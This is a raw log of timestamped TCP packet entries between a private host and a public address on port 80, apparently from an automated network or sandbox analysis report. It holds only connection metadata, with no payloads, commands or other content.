Oct 3, 2022 17:34:51.567133904 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.567150116 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.567151070 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.567178011 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.607355118 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.607383966 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.607402086 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.607422113 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.607439995 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.607458115 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.607465982 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.607477903 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.607497931 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.607517004 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.607527971 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.607534885 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.607553959 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.607557058 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.607573032 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.607590914 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.607608080 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.607618093 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.607625961 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.607642889 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.607649088 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.607661963 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.607671976 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.607681990 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.607700109 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.607713938 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.607713938 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.607728958 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.607742071 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.607754946 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.607772112 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.607784986 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.607800961 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.607805967 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.607831955 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.607964039 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.607983112 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.608000994 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.608017921 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.608035088 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.608037949 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.608053923 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.608071089 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.608078003 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.608092070 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.608098030 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.608110905 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.608119965 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.608129025 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.608148098 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.608159065 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.608166933 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.608185053 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.608190060 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.608203888 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.608221054 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.608234882 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.608239889 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.608258963 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.608259916 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.608277082 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.608294964 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.608311892 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.608323097 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.608330011 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.608360052 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.608382940 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.608949900 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.608971119 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.608988047 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.609005928 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.609023094 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.609030008 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.609041929 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.609060049 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.609066010 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.609078884 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.609097004 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.609096050 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.609116077 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.609133959 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.609148026 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.609150887 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.609169960 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.609177113 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.609189034 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.609201908 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.609208107 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.609226942 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.609235048 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.609245062 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.609261990 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.609268904 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.609280109 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.609297037 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.609314919 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.609317064 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.609345913 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.609905958 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.609926939 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.609945059 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.609962940 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.609963894 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.609982967 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.609985113 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.610002041 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.610019922 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.610038042 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.610052109 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.610057116 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.610075951 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.610090971 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.610093117 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.610111952 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.610116959 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.610131025 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.610141039 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.610148907 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.610167027 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.610171080 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.610184908 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.610203028 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.610208035 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.610222101 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.610239029 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.610254049 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.610259056 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.610279083 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.610284090 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.610321999 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.610846996 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.610867977 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.610913992 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.610923052 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.610934973 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.610951900 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.610970020 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.610986948 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.610986948 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.611011028 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.611020088 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.611030102 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.611047029 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.611066103 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.611076117 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.611084938 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.611102104 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.611103058 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.611121893 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.611129999 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.611140013 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.611160040 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.611176968 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.611179113 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.611196995 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.611201048 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.611217022 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.611234903 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.611238956 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.611253023 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.611290932 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.639939070 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.639965057 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.639981985 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.639997005 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.640016079 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.640033007 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.640052080 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.640069008 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.640086889 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.640096903 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.640105009 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.640120029 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.640139103 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.640153885 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.640160084 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.640178919 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.640197039 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.640201092 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.640214920 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.640232086 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.640233994 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.640250921 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.640261889 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.640269995 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.640289068 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.640305996 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.640314102 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.640326023 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.640342951 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.640347004 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.640361071 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.640379906 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.640383959 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.640398979 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.640417099 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.640433073 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.640434980 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.640453100 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.640465975 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.640469074 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.640506983 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.640877008 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.640897036 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.640914917 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.640933037 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.640933990 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.640952110 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.640965939 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.640969992 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.640990019 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.641006947 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.641010046 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.641026020 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.641042948 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.641048908 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.641062021 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.641081095 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.641082048 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.641099930 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.641112089 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.641119003 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.641138077 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.641155958 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.641164064 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.641175985 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.641194105 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.641205072 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.641211987 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.641230106 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.641232967 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.641248941 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.641269922 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.641310930 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.641848087 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.641870022 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.641887903 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.641905069 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.641922951 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.641942024 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.641952991 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.641962051 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.641980886 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.641995907 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.641999006 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.642019987 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.642036915 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.642044067 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.642055035 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.642072916 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.642087936 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.642092943 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.642112970 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.642123938 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.642129898 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.642148972 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.642154932 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.642167091 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.642179012 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.642184973 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.642204046 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.642220020 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.642220020 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.642256021 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.642837048 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.642858028 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.642884970 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.642904043 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.642906904 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.642923117 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.642927885 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.642941952 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.642959118 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.642976999 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.642983913 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.643013000 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.643229008 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.643249035 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.643266916 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.643284082 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.643290997 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.643302917 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.643320084 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.643336058 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.643337965 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.643357038 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.643373966 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.643374920 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.643393040 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.643409967 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.643413067 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.643428087 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.643443108 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.643445969 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.643465996 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.643471956 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.643484116 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.643502951 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.643513918 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.643522024 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.643541098 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.643558025 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.643559933 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.643577099 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.643594027 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.643596888 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.643631935 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.643687010 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.644114971 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.644134045 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.644151926 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.644169092 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.644186020 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.644191027 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.644205093 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.644218922 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.644231081 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.644268990 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.644289017 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.644306898 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.644325972 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.644326925 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.644345045 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.644351006 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.644364119 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.644375086 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.644385099 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.644403934 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.644422054 CEST	80	49702	104.21.93.30	192.168.2.7
